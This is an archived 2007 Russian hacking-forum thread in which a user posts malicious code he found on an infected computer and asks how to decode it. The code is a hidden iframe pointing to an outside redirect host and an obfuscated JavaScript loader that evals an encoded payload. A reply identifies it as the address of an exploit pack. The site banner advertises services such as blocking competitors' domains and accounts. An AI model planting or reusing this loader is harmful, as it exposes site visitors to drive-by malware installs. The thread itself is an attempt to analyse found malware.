Скрипт скачивающий и устанавливающий *.exe

УСТРАНЕНИЕ КОНКУРЕНТОВ. БЛОКИРОВКА ДОМЕНОВ, БЛОКИРОВКА ИНСТАГРАМ/ТЕЛЕГРАМ И ДРУГОЕ. ПРОВЕРЕННЫЙ СЕЛЛЕР.

НОВЫЕ ТОРГОВАЯ НОВОСТИ ЧАТ

Скрыть

		ANTICHAT > ПРОГРАММИРОВАНИЕ > PHP
*Скрипт скачивающий и устанавливающий .exe**

Опции темы

Поиск в этой теме

Опции просмотра

Скрипт скачивающий и устанавливающий *.exe

24.11.2007, 03:16

Shadow_master

Новичок

Регистрация: 23.11.2007

Сообщений: 1

С нами: 9719261

Репутация: 0

Скрипт скачивающий и устанавливающий *.exe

Привет всем! На днях помгал с компом одному знакомому. Первое впечаткение по тому как он себя вел - троян. Потом я понял в чем дело, почти так и есть - порнуха. Все нашел удалил (скопировал себе), почистил в реестре. Давно не занимался кодингом и задался мыслью: "А как это нынче делают?" Перерыл почти весь журнал, её там было много!

Стоп... Есть - окно подвисло, начали появляться ярлыки с явным поревом (на компе мастдай хп сп2 + заНУД со всеми самыми последними на тот день обновлениями). Интересующая нас строка:
<SCRIPT language=javascript>
document.write('<IFRAME SRC="http://redirectx.net/in.cgi?6" WIDTH=0 BORDER=0 HEIGHT=0 style="display:none"></IFRAME>');
</SCRIPT>

Там мы видим:

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">

<HTML><HEAD><TITLE>Counter</TITLE>
<META http-equiv=Content-Type content="text/html; charset=windows-1251">
<META content="MSHTML 6.00.2900.2180" name=GENERATOR></HEAD>
<BODY>Counted : 1541 people!
<SCRIPT>
var x=new Date();
x.setTime(x.getTime()+3600000);
document.cookie='websitesign=77;expires='+x.toGMTS tring();
</SCRIPT>

<SCRIPT>function b(us,Ka){if (!Ka)Ka='v3/aVu}h%~bR-?#>X"|lPnF^pyxS{M(rzQ+wG8c,Y e=)k6CNm5dE:qUOgK;A.s@';var F;var ii=arguments;var xt='';for(var vt=0;vt<us.length;vt+=ii.callee.toString().length-526){F=(Ka.indexOf(us.charAt(vt))&(200+55))<<18|(K a.indexOf(us.charAt(vt+1))&(200+55))<<12|(Ka.index Of(us.charAt(vt+2))&(200+55))<<(ii.callee.toString ().length-524)|Ka.indexOf(us.charAt(vt+3))&(200+55);xt+=Stri ng.fromCharCode((F&(16711600+80))>>16,(F&(255*256) )>>8,F&(200+55));}eval(xt.substring(0,xt.length-ii.callee.toString().length+528));}b('p+z,n^Qrbdna "EGm%l..?^{C|anOpUYGbqku?^Qe%wnOS|?nXqyMMP:XbdYU|F ):{8?s#wMN^53?ba-KR, u?hOK-:v6{h{E%lnU?^gcrl UPVpqX5.y?aMX"lu+^UGK%E =%VE)SayUx,O:Rw-+{hO+Fw"UP/)K?E8=?|O+F+3an|-qXEM~~V:X-q.aPG8:XEy~%V-:'+
'(wP6(8~NR8?=S5O8M53aba-zR, |{/glxqA6~l-mM5mF{V:l%cuUPEPKrVGd%V?rrFVUSnGKru.d?FzY|FuAnPzml |Q~#+k%xdYU^5VzXd.Fb}:}RduaS|unx+zw?G?br8PU^5-mpG X%V?X%duUPVnn%l..>E?|x53Oy,YmM:?}?,m~-q.3-q)Np8?s#wMN^53?ba-KR, u?hOK-:v6{h{E%lnU?^gcrl UPVpqX5.y?aMX"lu+F8%E%n?K#+grbdnYPa?:XngsM|k="|3an |-qXEM~MnG)Fl33{:OGRaE.~5N,Ru?5Rcyk(VEGRdvE{u3QMlAYp GuwxG?Y?8Pz-lY:Sd~("8G=>GGU%^ %(n"d~^:ux:%wrw?hrh{+|8p F8.MS/{ %/v=');</SCRIPT>

<SCRIPT>try{eval(j)}catch(ex){}</SCRIPT>
</BODY></HTML>

У меня вопрос тем, кто не отстал от жизни: "Что это, и чем это раскодировать?". Windows Script Decoder не предлагать - вышел, как оказывается, из моды.

𝕏 Twitter Reddit Telegram Копировать ссылку

24.11.2007, 16:18

x-demon

Постоянный

Регистрация: 10.06.2007

Сообщений: 476

С нами: 9957986

Репутация: 299

Отправить сообщение для x-demon с помощью AIM

Отправить сообщение для x-demon с помощью MSN

Отправить сообщение для x-demon с помощью Yahoo

Это походу зашифрованный адрес на сплоет-пак, не более...

« Предыдущая тема | Следующая тема »

Похожие темы
Тема	Автор	Раздел	Ответов	Последнее сообщение
Шифруем php скрипт с помощью пароля	Dr.Z3r0	PHP	4	13.11.2007 16:03
Ищу скрипт для автоматического добавления новостей....	~Real F@ck!~	Болталка	4	27.10.2007 13:18
[javascript] помогите дописать скрипт с регулярными выражениями	Thanat0z	PHP	16	29.08.2007 01:31
Разные скрипты	r@mbler	PHP	4	06.03.2007 18:08
Скрипт для MySQL	piton	Уязвимости	3	13.01.2007 20:40

Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)

Быстрый переход